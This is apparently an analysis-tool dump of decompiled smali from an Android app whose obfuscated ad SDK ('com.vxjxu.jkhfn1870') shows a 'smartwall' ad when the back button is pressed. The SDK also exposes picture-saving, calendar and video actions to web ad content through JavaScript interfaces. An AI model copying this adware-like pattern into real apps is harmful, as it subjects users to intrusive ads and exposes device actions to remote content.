0.param p1, "dialog" # Landroid/content/DialogInterface;
1.prologue
2if-eqz p1, :cond_5
3try_start_2:
4invoke-interface {p1}, Landroid/content/DialogInterface;->dismiss()V
5cond_5:
6iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity;
8invoke-virtual {v0}, Landroid/app/Activity;->finish()V
9try_end_a: return-void
10catch_b: move-exception v0
11goto/16 :goto_a
APIs
  • prsolutions.rosariofacileads.Player.getMenuInflater
  • android.view.MenuInflater.inflate
Position Instruction Meta Information
0.param p1, "menu" # Landroid/view/Menu;
1.prologue
3invoke-virtual {p0}, Lprsolutions/rosariofacileads/Player;->getMenuInflater()Landroid/view/MenuInflater;
4move-result-object v0
5const v1, 0x7f060001
7invoke-virtual {v0, v1, p1}, Landroid/view/MenuInflater;->inflate(ILandroid/view/Menu;)V
  • Data flow analysis:
    • menuRes: 2131099649
8const/4 v1, 0x1
9return v1
APIs
  • prsolutions.rosariofacileads.RosarioFacile.getMenuInflater
  • android.view.MenuInflater.inflate
Position Instruction Meta Information
0.param p1, "menu" # Landroid/view/Menu;
1.prologue
3invoke-virtual {p0}, Lprsolutions/rosariofacileads/RosarioFacile;->getMenuInflater()Landroid/view/MenuInflater;
4move-result-object v0
5const/high16 v1, 0x7f060000
7invoke-virtual {v0, v1, p1}, Landroid/view/MenuInflater;->inflate(ILandroid/view/Menu;)V
  • Data flow analysis:
    • menuRes: 2131099648
8const/4 v1, 0x1
9return v1
APIs
  • android.app.Activity.<init>
  • com.vxjxu.jkhfn1870.BrowserActivity$1.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Activity;-><init>()V
3new-instance v0, Lcom/vxjxu/jkhfn1870/BrowserActivity$1;
5invoke-direct {v0, p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity$1;-><init>(Lcom/vxjxu/jkhfn1870/BrowserActivity;)V
6iput-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->handler:Landroid/os/Handler;
7return-void
APIs
  • android.webkit.WebView.onAttachedToWindow
  • com.vxjxu.jkhfn1870.MraidView.checkVisibility
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/webkit/WebView;->onAttachedToWindow()V
3const/4 v0, 0x1
4iput-boolean v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->isViewable:Z
6invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->checkVisibility()V
7return-void
APIs
  • android.webkit.WebView.onDetachedFromWindow
  • com.vxjxu.jkhfn1870.MraidView.checkVisibility
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/webkit/WebView;->onDetachedFromWindow()V
3const/4 v0, 0x0
4iput-boolean v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->isViewable:Z
6invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->checkVisibility()V
7return-void
APIs
  • com.vxjxu.jkhfn1870.AdView.actionOnViewChanges
  • android.widget.FrameLayout.onAttachedToWindow
Position Instruction Meta Information
0.prologue
1const/4 v0, 0x0
3invoke-direct {p0, v0}, Lcom/vxjxu/jkhfn1870/AdView;->actionOnViewChanges(Z)V
  • Data flow analysis:
    • p0: 0
5invoke-super {p0}, Landroid/widget/FrameLayout;->onAttachedToWindow()V
6return-void
APIs
  • com.vxjxu.jkhfn1870.AdView.actionOnViewChanges
  • android.widget.FrameLayout.onDetachedFromWindow
Position Instruction Meta Information
0.prologue
1const/4 v0, 0x0
3invoke-direct {p0, v0}, Lcom/vxjxu/jkhfn1870/AdView;->actionOnViewChanges(Z)V
  • Data flow analysis:
    • p0: 0
5invoke-super {p0}, Landroid/widget/FrameLayout;->onDetachedFromWindow()V
6return-void
Cross References
APIs
  • android.webkit.WebView.setVisibility
  • com.vxjxu.jkhfn1870.MraidView.checkVisibility
Position Instruction Meta Information
0.param p1, "visibility" # I
1.prologue
3invoke-super {p0, p1}, Landroid/webkit/WebView;->setVisibility(I)V
5invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->checkVisibility()V
6return-void
Cross References
APIs
  • java.lang.String.equals
Position Instruction Meta Information
0.param p0, "status" # I
1.param p1, "message" # Ljava/lang/String;
2.prologue
3if-eqz p1, :cond_a
5const-string v0, ""
7invoke-virtual {p1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
8move-result v0
9if-eqz v0, :cond_b
10goto_a: return-void
11cond_b: sparse-switch p0, :sswitch_data_24
12goto/16 :goto_a
13sswitch_f:
14invoke-static {p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendIntegrationError(Ljava/lang/String;)V
15goto/16 :goto_a
16sswitch_13:
17invoke-static {p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendIntegrationError(Ljava/lang/String;)V
18goto/16 :goto_a
19sswitch_17:
20invoke-static {p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendIntegrationError(Ljava/lang/String;)V
21goto/16 :goto_a
22sswitch_1b:
23invoke-static {p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V
24goto/16 :goto_a
25sswitch_1f:
26invoke-static {p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V
27goto/16 :goto_a
28nop
Cross References
APIs
  • android.os.Handler.post
Position Instruction Meta Information
0.param p0, "adType" # Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
1.prologue
2try_start_0:
3sget-object v1, Lcom/vxjxu/jkhfn1870/AirPlay;->adCallbackListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener;
4if-eqz v1, :cond_e
6sget-object v1, Lcom/vxjxu/jkhfn1870/AirPlay;->handler:Landroid/os/Handler;
7new-instance v2, Lcom/vxjxu/jkhfn1870/SDKIntializer$3;
9invoke-direct {v2, p0}, Lcom/vxjxu/jkhfn1870/SDKIntializer$3;-><init>(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;)V
11invoke-virtual {v1, v2}, Landroid/os/Handler;->post(Ljava/lang/Runnable;)Z
12try_end_e: return-void
13catch_f: move-exception v0
14try_start_10:
15sget-object v1, Lcom/vxjxu/jkhfn1870/AirPlay;->adCallbackListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener;
17invoke-interface {v1, p0}, Lcom/vxjxu/jkhfn1870/AdCallbackListener;->onAdCached(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;)V
18try_end_15: goto/16 :goto_e
19catch_16: move-exception v1
20goto/16 :goto_e
APIs
  • android.os.Handler.post
Position Instruction Meta Information
0.param p0, "message" # Ljava/lang/String;
1.prologue
2try_start_0:
3sget-object v1, Lcom/vxjxu/jkhfn1870/AirPlay;->adCallbackListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener;
4if-eqz v1, :cond_e
6sget-object v1, Lcom/vxjxu/jkhfn1870/AirPlay;->handler:Landroid/os/Handler;
7new-instance v2, Lcom/vxjxu/jkhfn1870/SDKIntializer$2;
9invoke-direct {v2, p0}, Lcom/vxjxu/jkhfn1870/SDKIntializer$2;-><init>(Ljava/lang/String;)V
11invoke-virtual {v1, v2}, Landroid/os/Handler;->post(Ljava/lang/Runnable;)Z
12try_end_e: return-void
13catch_f: move-exception v0
14try_start_10:
15sget-object v1, Lcom/vxjxu/jkhfn1870/AirPlay;->adCallbackListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener;
17invoke-interface {v1, p0}, Lcom/vxjxu/jkhfn1870/AdCallbackListener;->onAdError(Ljava/lang/String;)V
18try_end_15: goto/16 :goto_e
19catch_16: move-exception v1
20goto/16 :goto_e
Cross References
APIs
  • android.os.Handler.post
Position Instruction Meta Information
0.param p0, "message" # Ljava/lang/String;
1.prologue
2try_start_0:
3sget-object v1, Lcom/vxjxu/jkhfn1870/AirPlay;->adCallbackListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener;
4if-eqz v1, :cond_e
6sget-object v1, Lcom/vxjxu/jkhfn1870/AirPlay;->handler:Landroid/os/Handler;
7new-instance v2, Lcom/vxjxu/jkhfn1870/SDKIntializer$1;
9invoke-direct {v2, p0}, Lcom/vxjxu/jkhfn1870/SDKIntializer$1;-><init>(Ljava/lang/String;)V
11invoke-virtual {v1, v2}, Landroid/os/Handler;->post(Ljava/lang/Runnable;)Z
12try_end_e: return-void
13catch_f: move-exception v0
14try_start_10:
15sget-object v1, Lcom/vxjxu/jkhfn1870/AirPlay;->adCallbackListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener;
17invoke-interface {v1, p0}, Lcom/vxjxu/jkhfn1870/AdCallbackListener;->onSDKIntegrationError(Ljava/lang/String;)V
18try_end_15: goto/16 :goto_e
19catch_16: move-exception v1
20goto/16 :goto_e
Cross References
APIs
  • android.webkit.WebView.loadDataWithBaseURL
Position Instruction Meta Information
0.param p1, "baseUrl" # Ljava/lang/String;
1.param p2, "data" # Ljava/lang/String;
2.param p3, "mimeType" # Ljava/lang/String;
3.param p4, "encoding" # Ljava/lang/String;
4.param p5, "historyUrl" # Ljava/lang/String;
5.prologue
7invoke-super/range {p0 .. p5}, Landroid/webkit/WebView;->loadDataWithBaseURL(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
9iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
10if-eqz v0, :cond_c
12iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
14invoke-interface {v0}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onAdLoadingListener()V
15cond_c: return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.param p2, "code" # I
2.prologue
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5if-nez p1, :cond_6
6goto_5: return-void
7cond_6: iput-object p1, p0, Lcom/vxjxu/jkhfn1870/SendIntegrationError;->context:Landroid/content/Context;
9invoke-static {p1}, Lcom/vxjxu/jkhfn1870/Util;->checkInternetConnection(Landroid/content/Context;)Z
10move-result v0
11if-eqz v0, :cond_5
13invoke-direct {p0, p2}, Lcom/vxjxu/jkhfn1870/SendIntegrationError;->sendIntegartionError(I)V
14goto/16 :goto_5
APIs
  • android.app.Activity.onBackPressed
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lprsolutions/rosariofacileads/RosarioFacile;->airPlay:Lcom/vxjxu/jkhfn1870/AirPlay;
3if-eqz v0, :cond_b
5iget-object v0, p0, Lprsolutions/rosariofacileads/RosarioFacile;->airPlay:Lcom/vxjxu/jkhfn1870/AirPlay;
7sget-object v1, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->smartwall:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
9invoke-virtual {v0, p0, v1}, Lcom/vxjxu/jkhfn1870/AirPlay;->showCachedAd(Landroid/app/Activity;Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;)V
10cond_b:
11invoke-super {p0}, Landroid/app/Activity;->onBackPressed()V
12return-void
APIs
  • com.vxjxu.jkhfn1870.MraidView.post
Position Instruction Meta Information
0.param p1, "url" # Ljava/lang/String;
1.param p2, "fileName" # Ljava/lang/String;
2.annotation runtime Landroid/webkit/JavascriptInterface;
3.end annotation
4.prologue
6iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
7new-instance v1, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$5;
9invoke-direct {v1, p0, p1, p2}, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$5;-><init>(Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;Ljava/lang/String;Ljava/lang/String;)V
11invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->post(Ljava/lang/Runnable;)Z
12return-void
APIs
  • android.app.Activity.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Activity;-><init>()V
3new-instance v0, Lprsolutions/rosariofacileads/RosarioFacile$1;
5invoke-direct {v0, p0}, Lprsolutions/rosariofacileads/RosarioFacile$1;-><init>(Lprsolutions/rosariofacileads/RosarioFacile;)V
6iput-object v0, p0, Lprsolutions/rosariofacileads/RosarioFacile;->adCallbackListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener;
7new-instance v0, Lprsolutions/rosariofacileads/RosarioFacile$2;
9invoke-direct {v0, p0}, Lprsolutions/rosariofacileads/RosarioFacile$2;-><init>(Lprsolutions/rosariofacileads/RosarioFacile;)V
10iput-object v0, p0, Lprsolutions/rosariofacileads/RosarioFacile;->mResourcesAudioListener:Landroid/view/View$OnClickListener;
11return-void
APIs
  • com.vxjxu.jkhfn1870.MraidView.storePicture
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$5;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;
4iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
6iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$5;->val$url:Ljava/lang/String;
8iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$5;->val$fileName:Ljava/lang/String;
10invoke-virtual {v0, v1, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->storePicture(Ljava/lang/String;Ljava/lang/String;)V
11return-void
APIs
  • com.vxjxu.jkhfn1870.MraidView.post
Position Instruction Meta Information
0.param p1, "json" # Ljava/lang/String;
1.annotation runtime Landroid/webkit/JavascriptInterface;
2.end annotation
3.prologue
5iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
6new-instance v1, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$6;
8invoke-direct {v1, p0, p1}, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$6;-><init>(Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;Ljava/lang/String;)V
10invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->post(Ljava/lang/Runnable;)Z
11return-void
Cross References
APIs
  • com.vxjxu.jkhfn1870.MraidView.post
Position Instruction Meta Information
0.param p1, "url" # Ljava/lang/String;
1.annotation runtime Landroid/webkit/JavascriptInterface;
2.end annotation
3.prologue
5iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
6new-instance v1, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$1;
8invoke-direct {v1, p0, p1}, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$1;-><init>(Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;Ljava/lang/String;)V
10invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->post(Ljava/lang/Runnable;)Z
11return-void
APIs
  • com.vxjxu.jkhfn1870.MraidView.post
Position Instruction Meta Information
0.param p1, "url" # Ljava/lang/String;
1.annotation runtime Landroid/webkit/JavascriptInterface;
2.end annotation
3.prologue
5iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
6new-instance v1, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$4;
8invoke-direct {v1, p0, p1}, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$4;-><init>(Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;Ljava/lang/String;)V
10invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->post(Ljava/lang/Runnable;)Z
11return-void
APIs
  • com.vxjxu.jkhfn1870.AdView.access$800
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$5$1;->this$1:Lcom/vxjxu/jkhfn1870/AdView$5;
4iget-object v0, v0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
5iget v1, p0, Lcom/vxjxu/jkhfn1870/AdView$5$1;->val$staus:I
7iget-object v2, p0, Lcom/vxjxu/jkhfn1870/AdView$5$1;->val$message:Ljava/lang/String;
9invoke-static {v0, v1, v2}, Lcom/vxjxu/jkhfn1870/AdView;->access$800(Lcom/vxjxu/jkhfn1870/AdView;ILjava/lang/String;)V
10return-void
APIs
  • android.webkit.WebView.onAnimationEnd
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/webkit/WebView;->onAnimationEnd()V
4iget-object v0, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->animationDrawListener:Lcom/vxjxu/jkhfn1870/AdView$AnimationDrawListener;
5if-eqz v0, :cond_c
7iget-object v0, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->animationDrawListener:Lcom/vxjxu/jkhfn1870/AdView$AnimationDrawListener;
9invoke-interface {v0}, Lcom/vxjxu/jkhfn1870/AdView$AnimationDrawListener;->onAnimationDrawEnd()V
10cond_c: return-void
APIs
  • com.vxjxu.jkhfn1870.MraidView.post
Position Instruction Meta Information
0.annotation runtime Landroid/webkit/JavascriptInterface;
1.end annotation
2.prologue
4iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
5new-instance v1, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$2;
7invoke-direct {v1, p0}, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$2;-><init>(Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;)V
9invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->post(Ljava/lang/Runnable;)Z
10return-void
APIs
  • com.vxjxu.jkhfn1870.MraidView.post
Position Instruction Meta Information
0.annotation runtime Landroid/webkit/JavascriptInterface;
1.end annotation
2.prologue
4iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
5new-instance v1, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$3;
7invoke-direct {v1, p0}, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$3;-><init>(Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;)V
9invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->post(Ljava/lang/Runnable;)Z
10return-void
APIs
  • com.vxjxu.jkhfn1870.MraidView.expand
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;
4iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
6iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$1;->val$url:Ljava/lang/String;
8invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->expand(Ljava/lang/String;)V
9return-void
APIs
  • com.vxjxu.jkhfn1870.MraidView.playVideo
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$4;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;
4iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
6iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$4;->val$url:Ljava/lang/String;
8invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->playVideo(Ljava/lang/String;)V
9return-void
APIs
  • com.vxjxu.jkhfn1870.MraidView.createCalendarEvent
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$6;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;
4iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
6iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$6;->val$json:Ljava/lang/String;
8invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->createCalendarEvent(Ljava/lang/String;)V
9return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p2, "_x" # I
1.param p3, "_y" # I
2.prologue
3iput-object p1, p0, Lprsolutions/rosariofacileads/Player$Coord;->this$0:Lprsolutions/rosariofacileads/Player;
5invoke-direct {p0}, Ljava/lang/Object;-><init>()V
6iput p2, p0, Lprsolutions/rosariofacileads/Player$Coord;->x:I
7iput p3, p0, Lprsolutions/rosariofacileads/Player$Coord;->y:I
8return-void
Cross References
APIs
  • java.lang.Enum.<init>
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"()V"
3}
4.end annotation
5.prologue
7invoke-direct {p0, p1, p2}, Ljava/lang/Enum;-><init>(Ljava/lang/String;I)V
8return-void
APIs
  • android.os.Handler.sendEmptyMessage
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$1;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
4iget-object v0, v0, Lcom/vxjxu/jkhfn1870/AdView;->handler:Landroid/os/Handler;
5const/4 v1, 0x2
7invoke-virtual {v0, v1}, Landroid/os/Handler;->sendEmptyMessage(I)Z
  • Data flow analysis:
    • what: 2
8return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4const-string v0, ""
5iput-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;->resizeProperties:Ljava/lang/String;
6const/4 v0, 0x0
7iput-boolean v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;->useCustomClose:Z
8return-void
APIs
  • android.os.CountDownTimer.<init>
Position Instruction Meta Information
0.param p1, "millisInFuture" # J
1.param p3, "countDownInterval" # J
2.param p5, "_tv" # Landroid/widget/TextView;
3.prologue
5invoke-direct {p0, p1, p2, p3, p4}, Landroid/os/CountDownTimer;-><init>(JJ)V
6iput-object p5, p0, Lprsolutions/rosariofacileads/Countdown;->tv:Landroid/widget/TextView;
7return-void
APIs
  • java.lang.Enum.valueOf
Position Instruction Meta Information
0.param p0, "name" # Ljava/lang/String;
1.prologue
2const-class v0, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
4invoke-static {v0, p0}, Ljava/lang/Enum;->valueOf(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Enum;
5move-result-object v0
6check-cast v0, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
7return-object v0
Strings
  • Another ad request is already in progress. Please wait...
Position Instruction Meta Information
0.prologue
2sget-object v0, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
4const-string v1, "Another ad request is already in progress. Please wait..."
6invoke-interface {v0, v1}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onErrorListener(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Another ad request is already in progress. Please wait...
7return-void
Strings
  • Ad requested beforing refresh time. Aborting request...
Position Instruction Meta Information
0.prologue
2sget-object v0, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
4const-string v1, "Ad requested beforing refresh time. Aborting request... "
6invoke-interface {v0, v1}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onErrorListener(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Ad requested beforing refresh time. Aborting request...
7return-void
APIs
  • java.lang.Enum.valueOf
Position Instruction Meta Information
0.param p0, "name" # Ljava/lang/String;
1.prologue
2const-class v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;
4invoke-static {v0, p0}, Ljava/lang/Enum;->valueOf(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Enum;
5move-result-object v0
6check-cast v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;
7return-object v0
APIs
  • com.vxjxu.jkhfn1870.MraidView.close
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$2;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;
4iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
6invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->close()V
7return-void
APIs
  • com.vxjxu.jkhfn1870.MraidView.resize
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$3;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;
4iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
6invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->resize()V
7return-void
APIs
  • com.vxjxu.jkhfn1870.MraidView.setAdOrientation
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$7;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;
4iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
6invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->setAdOrientation()V
7return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AdView$5$1;->this$1:Lcom/vxjxu/jkhfn1870/AdView$5;
2iput p2, p0, Lcom/vxjxu/jkhfn1870/AdView$5$1;->val$staus:I
3iput-object p3, p0, Lcom/vxjxu/jkhfn1870/AdView$5$1;->val$message:Ljava/lang/String;
5invoke-direct {p0}, Ljava/lang/Object;-><init>()V
6return-void
Cross References
APIs
  • com.vxjxu.jkhfn1870.AdView.validateStatusCode
Position Instruction Meta Information
0.param p0, "x0" # Lcom/vxjxu/jkhfn1870/AdView;
1.param p1, "x1" # I
2.param p2, "x2" # Ljava/lang/String;
3.prologue
5invoke-direct {p0, p1, p2}, Lcom/vxjxu/jkhfn1870/AdView;->validateStatusCode(ILjava/lang/String;)V
6return-void
Cross References
APIs
  • com.vxjxu.jkhfn1870.AdView.parseMraidJson
Position Instruction Meta Information
0.param p0, "x0" # Lcom/vxjxu/jkhfn1870/AdView;
1.param p1, "x1" # Landroid/content/Context;
2.param p2, "x2" # Lorg/json/JSONObject;
3.prologue
5invoke-direct {p0, p1, p2}, Lcom/vxjxu/jkhfn1870/AdView;->parseMraidJson(Landroid/content/Context;Lorg/json/JSONObject;)V
6return-void
Cross References
APIs
  • android.webkit.WebChromeClient.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$1;->this$1:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;
2iput-object p2, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$1;->val$this$0:Lcom/vxjxu/jkhfn1870/BrowserActivity;
3iput-object p3, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$1;->val$activity:Landroid/app/Activity;
5invoke-direct {p0}, Landroid/webkit/WebChromeClient;-><init>()V
6return-void
Cross References
APIs
  • android.webkit.WebViewClient.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->this$0:Lcom/vxjxu/jkhfn1870/ImageBanner;
2iput-object p2, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->val$context:Landroid/content/Context;
3iput-object p3, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->val$loadingListener:Landroid/os/Handler;
5invoke-direct {p0}, Landroid/webkit/WebViewClient;-><init>()V
6return-void
APIs
  • com.vxjxu.jkhfn1870.ImageTask.doInBackground
Position Instruction Meta Information
0.param p1, "x0" # [Ljava/lang/Object;
1.prologue
2check-cast p1, [Ljava/lang/Void;
4invoke-virtual {p0, p1}, Lcom/vxjxu/jkhfn1870/ImageTask;->doInBackground([Ljava/lang/Void;)Ljava/lang/Void;
5move-result-object v0
6return-object v0
APIs
  • com.vxjxu.jkhfn1870.MraidView.close
Position Instruction Meta Information
0.param p1, "v" # Landroid/view/View;
1.prologue
3iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$1;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
5invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->close()V
6return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
